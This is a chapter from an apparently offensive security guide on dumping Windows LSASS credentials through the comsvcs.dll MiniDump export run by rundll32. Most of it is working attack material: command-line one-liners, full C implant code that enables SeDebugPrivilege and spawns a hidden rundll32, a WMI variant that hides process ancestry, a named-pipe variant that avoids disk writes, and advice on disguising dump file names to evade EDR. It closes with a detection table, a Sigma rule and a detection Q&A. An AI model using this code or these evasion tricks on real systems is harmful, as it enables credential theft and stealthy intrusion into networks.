Chapter 94

LSASS via comsvcs.dll MiniDump

The LOLBin path to credential dumping — using a Microsoft-signed system DLL to produce an LSASS dump without calling MiniDumpWriteDump from your own binary, avoiding the most common EDR hook surface

Scenario

You have SYSTEM privileges on a compromised domain-joined workstation. You try running your direct MiniDumpWriteDump code from chapter 93 and it gets blocked immediately — the EDR has a userland hook on dbghelp.dll's MiniDumpWriteDump export that detects any non-Microsoft caller targeting lsass.exe and terminates the call. You need a different approach. Windows ships a DLL called comsvcs.dll that exports a function named MiniDump designed for COM+ debugging. That function internally calls MiniDumpWriteDump, but the call comes from rundll32.exe — a Microsoft-signed system binary the EDR has been tuned to trust. Your implant just has to pull the string that makes rundll32 do the work.

The LOLBin Logic — Why the EDR Cares Who Calls

EDRs don't have infinite budget for false positives. A hook on MiniDumpWriteDump that fires on every call from any process would generate thousands of false alerts daily — legitimate debuggers, crash reporters, WER (Windows Error Reporting), Visual Studio, and many other tools call MiniDumpWriteDump routinely. So most EDR vendors narrow the detection: block or alert when MiniDumpWriteDump is called with a handle to lsass.exe as the target process AND the calling process image is not from a trusted list of known-good dumpers (WerFault.exe, drwtsn32.exe, ProDump.exe from Sysinternals, etc.).

This is the exact gap the comsvcs technique exploits. rundll32.exe at C:\Windows\System32\rundll32.exe is signed by Microsoft, has a well-known good reputation in every trust database, and is expected to call arbitrary exports in DLLs for legitimate purposes. When the EDR sees rundll32.exe calling MiniDumpWriteDump targeting lsass, it needs to decide whether to alert — and many deployments don't, because the combination of rundll32 as caller plus lsass as target was not specifically tuned into the allowlist check. The result: the dump succeeds from a trusted binary while your implant never touches the sensitive API.

Detection logic comparison: Direct path (ch93 — blocked by tuned EDR): your_implant.exe | +-- LoadLibrary("dbghelp.dll") +-- GetProcAddress("MiniDumpWriteDump") +-- MiniDumpWriteDump(lsass_handle, ...) ← hook fires EDR check: caller=your_implant.exe (unknown/unsigned) → BLOCK comsvcs.dll LOLBin path (this chapter): your_implant.exe | +-- CreateProcessA("rundll32.exe comsvcs.dll,MiniDump [pid] out.dmp full") | rundll32.exe (Microsoft-signed, trusted) +-- LoadLibrary("comsvcs.dll") +-- comsvcs!MiniDump([pid], "out.dmp", "full") +-- MiniDumpWriteDump(lsass_handle, ...) ← hook fires EDR check: caller=rundll32.exe (trusted) → ALLOW (misconfigured EDR) OR ALERT (tuned EDR still catches it) Your binary never imports or calls MiniDumpWriteDump. The call chain depth is: you → rundll32 → comsvcs → MiniDumpWriteDump

comsvcs.dll Internals

C:\Windows\System32\comsvcs.dll is the COM+ Services DLL. It ships with every Windows installation from XP onwards. Among its exports is an ordinal-24 function also accessible by the name MiniDump that was intended for dumping COM+ application processes for debugging. Its internal implementation is straightforward: it opens the target process, creates an output file, and delegates to dbgcore!MiniDumpWriteDump (on modern Windows) or dbghelp!MiniDumpWriteDump (on older builds).

PropertyValue
Full pathC:\Windows\System32\comsvcs.dll
Export nameMiniDump (also accessible as ordinal 24)
SignatureVoid MiniDump(DWORD pid, LPCWSTR filePath, LPCWSTR options)
Options string"full" produces a full memory dump; other values reduce scope
Internally callsdbgcore.dll!MiniDumpWriteDump on Win10+; dbghelp.dll on older builds
Required privilegeSeDebugPrivilege (Administrators and SYSTEM have this by default)
LOLBin categoryLOLBAS — Living Off the Land Binaries and Scripts (lolbas-project.github.io)

The rundll32 calling convention for invoking a named DLL export is:

rundll32.exe  <DLL path>,<ExportName>  [arg1]  [arg2]  [arg3]

Note the comma with no space between the DLL path and the export name — this is a rundll32 syntax requirement. Arguments after the export name are passed as separate strings. For MiniDump, the three arguments are: process ID (decimal string), output file path, and mode string. All arguments are passed by rundll32 as a single wide string that comsvcs.dll's MiniDump parses internally.

Basic Command-Line Invocation

-- CMD / PowerShell (manual execution) --

; Step 1: find lsass PID
tasklist /FI "IMAGENAME eq lsass.exe" /FO CSV

; Step 2: dump (substitute actual PID)
rundll32.exe C:\Windows\System32\comsvcs.dll,MiniDump 700 C:\Windows\Temp\debug.dmp full

-- PowerShell one-liner (resolves PID automatically) --
rundll32.exe C:\windows\system32\comsvcs.dll, MiniDump (Get-Process lsass).id $env:TEMP\lsass.dmp full

-- Notes --
The output file must be in a path writable by the SYSTEM account.
C:\Windows\Temp is typically writable.
The .dmp extension triggers some EDR file-write alerts; .bin works just as well.
The dump is a valid Windows minidump parseable by Mimikatz and pypykatz.

C Implementation — Trigger via CreateProcess with Full Error Handling

Your implant builds the rundll32 command line dynamically, resolves the LSASS PID via Toolhelp32, triggers the dump with CreateProcessA, waits for rundll32 to exit, then verifies the output file was created. Privilege enablement is included because an implant running as Administrator may have SeDebugPrivilege present in its token but disabled:

#include <windows.h>
#include <tlhelp32.h>
#include <stdio.h>

BOOL EnableSeDebugPrivilege() {
    HANDLE hToken;
    TOKEN_PRIVILEGES tp;
    LUID luid;

    if (!OpenProcessToken(GetCurrentProcess(),
                          TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken))
        return FALSE;

    if (!LookupPrivilegeValueA(NULL, "SeDebugPrivilege", &luid)) {
        CloseHandle(hToken); return FALSE;
    }

    tp.PrivilegeCount           = 1;
    tp.Privileges[0].Luid       = luid;
    tp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED;

    AdjustTokenPrivileges(hToken, FALSE, &tp, sizeof(tp), NULL, NULL);
    CloseHandle(hToken);
    return (GetLastError() == ERROR_SUCCESS);
}

DWORD GetLsassPid() {
    HANDLE snap = CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, 0);
    if (snap == INVALID_HANDLE_VALUE) return 0;

    PROCESSENTRY32W pe = { .dwSize = sizeof(pe) };
    DWORD pid = 0;
    if (Process32FirstW(snap, &pe)) {
        do {
            if (_wcsicmp(pe.szExeFile, L"lsass.exe") == 0) {
                pid = pe.th32ProcessID;
                break;
            }
        } while (Process32NextW(snap, &pe));
    }
    CloseHandle(snap);
    return pid;
}

BOOL DumpViaComsvcs(const char *outPath) {
    EnableSeDebugPrivilege();

    DWORD pid = GetLsassPid();
    if (!pid) {
        fprintf(stderr, "[-] Could not find lsass.exe\n");
        return FALSE;
    }

    // Build: rundll32.exe C:\Windows\System32\comsvcs.dll,MiniDump PID PATH full
    char cmdline[1024] = {0};
    _snprintf_s(cmdline, sizeof(cmdline), _TRUNCATE,
        "rundll32.exe C:\\Windows\\System32\\comsvcs.dll,MiniDump %lu \"%s\" full",
        pid, outPath);

    STARTUPINFOA si;
    PROCESS_INFORMATION pi;
    RtlSecureZeroMemory(&si, sizeof(si));
    RtlSecureZeroMemory(&pi, sizeof(pi));
    si.cb          = sizeof(si);
    si.dwFlags     = STARTF_USESHOWWINDOW;
    si.wShowWindow = SW_HIDE;

    if (!CreateProcessA(NULL, cmdline, NULL, NULL,
                        FALSE, CREATE_NO_WINDOW | CREATE_NEW_PROCESS_GROUP,
                        NULL, NULL, &si, &pi)) {
        fprintf(stderr, "[-] CreateProcess failed: %lu\n", GetLastError());
        return FALSE;
    }

    // Wait up to 20 seconds for rundll32 to finish
    DWORD waitResult = WaitForSingleObject(pi.hProcess, 20000);
    if (waitResult != WAIT_OBJECT_0)
        fprintf(stderr, "[!] Warning: rundll32 did not finish in time\n");

    DWORD exitCode = 0;
    GetExitCodeProcess(pi.hProcess, &exitCode);
    CloseHandle(pi.hProcess);
    CloseHandle(pi.hThread);

    // Verify output file exists and has non-zero size
    WIN32_FILE_ATTRIBUTE_DATA fa;
    if (!GetFileAttributesExA(outPath, GetFileExInfoStandard, &fa)) {
        fprintf(stderr, "[-] Output file not found: %s\n", outPath);
        return FALSE;
    }
    DWORD fileSizeLo = fa.nFileSizeLow;
    fprintf(stdout, "[+] Dump written: %s (%lu bytes)\n", outPath, fileSizeLo);
    return TRUE;
}

int main() {
    if (DumpViaComsvcs("C:\\Windows\\Temp\\debug001.bin"))
        puts("[+] Success — parse offline with pypykatz or mimikatz");
    else
        puts("[-] Failed");
    return 0;
}
Output File Naming

Many EDR rules and YARA signatures specifically look for .dmp files created by unusual processes. Choosing a benign-looking name and extension (e.g., debug001.bin, tmp_heap.dat, werfault_0003.log) in C:\Windows\Temp\ reduces file-create alert fidelity. The file format is still a valid Windows minidump regardless of extension — pypykatz and Mimikatz both accept any file path, extension is irrelevant.

WMI Variant — Break the Process Ancestry Chain

If your implant directly calls CreateProcess to spawn rundll32, Sysmon EventID 1 will show the process ancestry: your_implant.exe → rundll32.exe → comsvcs.dll. A detection rule that looks for rundll32 spawned from unusual parents catches this. Breaking the ancestry via WMI makes rundll32's parent appear as WmiPrvSE.exe — a legitimate Windows system process:

#include <windows.h>
#include <objbase.h>
#include <wbemidl.h>
#pragma comment(lib, "wbemuuid.lib")
#pragma comment(lib, "ole32.lib")
#pragma comment(lib, "oleaut32.lib")

HRESULT WmiExecComsvcs(const WCHAR *cmdline) {
    CoInitializeEx(0, COINIT_MULTITHREADED);
    CoInitializeSecurity(NULL, -1, NULL, NULL,
        RPC_C_AUTHN_LEVEL_DEFAULT, RPC_C_IMP_LEVEL_IMPERSONATE,
        NULL, EOAC_NONE, NULL);

    IWbemLocator  *loc = NULL;
    IWbemServices *svc = NULL;
    CoCreateInstance(&CLSID_WbemLocator, 0, CLSCTX_INPROC_SERVER,
                     &IID_IWbemLocator, (LPVOID*)&loc);
    loc->vtbl->ConnectServer(loc, SysAllocString(L"ROOT\\CIMV2"),
                             NULL,NULL,NULL,0,NULL,NULL, &svc);

    // Set security on proxy
    CoSetProxyBlanket((IUnknown*)svc,
        RPC_C_AUTHN_WINNT, RPC_C_AUTHZ_NONE, NULL,
        RPC_C_AUTHN_LEVEL_CALL, RPC_C_IMP_LEVEL_IMPERSONATE,
        NULL, EOAC_NONE);

    IWbemClassObject *procClass = NULL, *inClass = NULL, *inInst = NULL;
    BSTR wmiPath = SysAllocString(L"Win32_Process");
    BSTR method  = SysAllocString(L"Create");
    svc->vtbl->GetObject(svc, wmiPath, 0, NULL, &procClass, NULL);
    procClass->vtbl->GetMethod(procClass, method, 0, &inClass, NULL);
    inClass->vtbl->SpawnInstance(inClass, 0, &inInst);

    VARIANT varCmd;
    varCmd.vt      = VT_BSTR;
    varCmd.bstrVal = SysAllocString(cmdline);
    inInst->vtbl->Put(inInst, L"CommandLine", 0, &varCmd, 0);

    IWbemClassObject *outInst = NULL;
    HRESULT hr = svc->vtbl->ExecMethod(svc, wmiPath, method,
                                        0, NULL, inInst, &outInst, NULL);
    // cleanup omitted for brevity
    return hr;
}

// Usage: build command line as wide string then call:
// WmiExecComsvcs(L"rundll32.exe C:\\Windows\\System32\\comsvcs.dll,MiniDump 700 C:\\Windows\\Temp\\tmp.bin full");
// Process tree visible in Sysmon: WmiPrvSE.exe → rundll32.exe (your implant absent from ancestry)

Named Pipe Variant — Dump to Memory, No Disk Write

comsvcs.dll's MiniDump accepts any file path, including Windows named pipe paths of the form \\.\pipe\name. By creating a named pipe server in a background thread and passing its path as the output file, the dump data is streamed through the pipe directly into your process's memory — the dump never touches disk. This defeats disk-artifact-based detections and AV scan-on-write:

#include <windows.h>
#include <stdio.h>

#define PIPE_NAME    "\\\\.\\pipe\\svchost_debug"
#define PIPE_NAME_W  L"\\\\.\\pipe\\svchost_debug"
#define MAX_DUMP_SIZE (200 * 1024 * 1024)  // 200 MB should be enough

typedef struct {
    LPBYTE  Buffer;
    SIZE_T  BytesRead;
    BOOL    Success;
} PIPE_READ_RESULT;

DWORD WINAPI PipeReaderThread(LPVOID param) {
    PIPE_READ_RESULT *res = (PIPE_READ_RESULT *)param;

    HANDLE pipe = CreateNamedPipeA(
        PIPE_NAME,
        PIPE_ACCESS_INBOUND | FILE_FLAG_OVERLAPPED,
        PIPE_TYPE_BYTE | PIPE_READMODE_BYTE | PIPE_WAIT,
        1,          // max instances
        0,          // out buffer size
        MAX_DUMP_SIZE,
        0,          // default timeout
        NULL);

    if (pipe == INVALID_HANDLE_VALUE) {
        res->Success = FALSE; return 1;
    }

    res->Buffer = (LPBYTE)VirtualAlloc(NULL, MAX_DUMP_SIZE,
                                       MEM_COMMIT | MEM_RESERVE, PAGE_READWRITE);
    if (!res->Buffer) {
        CloseHandle(pipe); res->Success = FALSE; return 2;
    }

    ConnectNamedPipe(pipe, NULL);  // blocks until client connects

    DWORD bytesRead = 0;
    res->BytesRead = 0;
    BOOL ok;
    do {
        ok = ReadFile(pipe,
                      res->Buffer + res->BytesRead,
                      MAX_DUMP_SIZE - (DWORD)res->BytesRead,
                      &bytesRead, NULL);
        res->BytesRead += bytesRead;
    } while (ok && bytesRead > 0);

    CloseHandle(pipe);
    res->Success = (res->BytesRead > 0);
    return 0;
}

LPBYTE DumpLsassToPipe(DWORD pid, SIZE_T *dumpSize) {
    PIPE_READ_RESULT res = {0};

    // Start pipe server thread first
    HANDLE thread = CreateThread(NULL, 0, PipeReaderThread, &res, 0, NULL);
    Sleep(100);  // give thread time to create the pipe before rundll32 writes to it

    // Build command targeting the named pipe instead of a file path
    char cmd[512];
    _snprintf_s(cmd, sizeof(cmd), _TRUNCATE,
        "rundll32.exe C:\\Windows\\System32\\comsvcs.dll,MiniDump %lu "
        "\\\\.\\pipe\\svchost_debug full", pid);

    STARTUPINFOA si = { .cb = sizeof(si), .dwFlags = STARTF_USESHOWWINDOW, .wShowWindow = SW_HIDE };
    PROCESS_INFORMATION pi = {0};

    CreateProcessA(NULL, cmd, NULL, NULL, FALSE,
                   CREATE_NO_WINDOW, NULL, NULL, &si, &pi);
    WaitForSingleObject(pi.hProcess, 20000);
    CloseHandle(pi.hProcess); CloseHandle(pi.hThread);

    WaitForSingleObject(thread, 5000);
    CloseHandle(thread);

    if (!res.Success || !res.Buffer) return NULL;
    *dumpSize = res.BytesRead;
    return res.Buffer;  // caller must VirtualFree
}

int main() {
    EnableSeDebugPrivilege();
    DWORD pid = GetLsassPid();

    SIZE_T sz = 0;
    LPBYTE dump = DumpLsassToPipe(pid, &sz);
    if (dump) {
        printf("[+] Dump in memory: %zu bytes — first 4 bytes: %02X %02X %02X %02X\n",
            sz, dump[0], dump[1], dump[2], dump[3]);
        // First 4 bytes of a valid minidump = 4D 44 4D 50 ("MDMP")
        // Now parse in-memory, exfil over C2, or write to encrypted container
        VirtualFree(dump, 0, MEM_RELEASE);
    } else
        puts("[-] Pipe dump failed");
    return 0;
}

Elevation Path — Getting SeDebugPrivilege from Admin Rights

Running as a standard Administrator does not automatically give an enabled SeDebugPrivilege — UAC token filtering strips it from the token for interactive processes even when the user is in the Administrators group. Before calling comsvcs.dll (whether directly or via rundll32), your implant must ensure it is running with a full, elevated token that has SeDebugPrivilege enabled. The privilege must be both present in the token and enabled:

Token privilege states: Not present: Privilege not in token at all. AdjustTokenPrivileges cannot add it. Need a different token (steal SYSTEM token, or impersonate). Present but disabled (default for SeDebugPrivilege on non-elevated admin): AdjustTokenPrivileges with SE_PRIVILEGE_ENABLED can enable it. This is what EnableSeDebugPrivilege() does. Present and enabled: Can open lsass with PROCESS_VM_READ. UAC token states: Interactive admin process: filtered token — SeDebugPrivilege NOT present Elevated admin process (Run as Administrator / UAC elevation): full token — SeDebugPrivilege PRESENT (but disabled until explicitly enabled) SYSTEM process: full token — all privileges present and most enabled Implication: if your implant is running in an unelevated admin context, AdjustTokenPrivileges will fail silently (returns success but GetLastError = ERROR_NOT_ALL_ASSIGNED). You need to elevate first — UAC bypass (ch89-90), token theft (ch30), or SYSTEM shell.

Detection Landscape

Detection SignalLog SourceEvent IDReliability
rundll32.exe with "comsvcs" in command line arguments Sysmon / Security (4688 with command line audit) 1 / 4688 Very high — zero legitimate uses of this exact invocation
rundll32.exe opening a handle to lsass.exe Sysmon ProcessAccess 10 High — GrantedAccess 0x1010, 0x1410, or 0x1FFFFF from rundll32 is anomalous
.dmp or .bin file created in Temp, Users, or ProgramData by rundll32 or WmiPrvSE Sysmon FileCreate 11 Medium — correlate with prior lsass access within 30 seconds
rundll32.exe spawned from unusual parent (implant, cmd, powershell) Sysmon ProcessCreate 1 Medium — WMI variant breaks this; parent becomes WmiPrvSE
Named pipe created with handle to lsass Sysmon PipeCreate/PipeConnect 17/18 Medium — pipe-to-memory variant; pipe name is random each time
comsvcs.dll loaded by rundll32 not from System32 Sysmon ImageLoad 7 High — DLL sideload variant (attacker copies comsvcs.dll elsewhere)

Sigma Detection Rule

title: LSASS Dump via comsvcs.dll MiniDump
id: b3d34dc5-2d23-4b4f-8b4a-2e9c3f0f2c9a
status: stable
description: Detects credential dumping via comsvcs.dll MiniDump LOLBin technique
references:
  - https://lolbas-project.github.io/lolbas/Libraries/Comsvcs/
author: detection-engineering
date: 2024/01/01
logsource:
  category: process_creation
  product: windows
detection:
  selection_cmd:
    CommandLine|contains|all:
      - 'comsvcs'
      - 'MiniDump'
  selection_alt:
    CommandLine|contains: 'MiniDump'
    Image|endswith: '\rundll32.exe'
  condition: 1 of selection_*
falsepositives:
  - Legitimate COM+ debugging by COM developers (extremely rare in production)
level: high
tags:
  - attack.credential_access
  - attack.t1003.001

Q&A

Does this technique work on Windows 11 with Credential Guard enabled?

Credential Guard (part of VBS) moves NTLM hashes and Kerberos tickets into a separate VSM (Virtual Secure Mode) process called LsaIso.exe running in VTL1. When Credential Guard is active, lsass.exe still exists and can still be dumped, but the dump contents will not contain plaintext credentials or even NTLM hashes for accounts that authenticated since Credential Guard was enabled. The dump will contain structures that point into VSM memory for the actual secrets, but those VSM regions are inaccessible even from lsass.exe itself — they reside in VTL1 which is isolated from the normal OS (VTL0). The bottom line: comsvcs.dll and all other LSASS dumping techniques become much less useful on Credential Guard-enabled systems. The dump succeeds but produces no usable credentials. You would need to pivot to other credential sources: SAM hive (local accounts only), DPAPI master keys, cached credentials in the registry (mscache2, limited), or credential manager blobs.

Can the named pipe variant be detected even if nothing hits disk?

Yes — named pipe creation and connection events are logged by Sysmon EventID 17 (PipeCreated) and EventID 18 (PipeConnected). A detection rule that correlates: (1) a named pipe created by process X, (2) rundll32.exe connecting to that pipe within seconds, (3) rundll32.exe having previously opened a handle to lsass — this three-event chain is a strong indicator regardless of whether anything hit disk. Additionally, ETW-TI (Event Tracing for Windows — Threat Intelligence) at the kernel level logs the lsass memory read operations even when no disk I/O occurs. Process memory scan capabilities in some EDRs (Sophos, CrowdStrike Falcon) can also detect the dump data in the reading process's memory before it is exfiltrated. The named pipe variant avoids disk-based AV scan-on-write detections but does not evade process-access monitoring or kernel-level telemetry.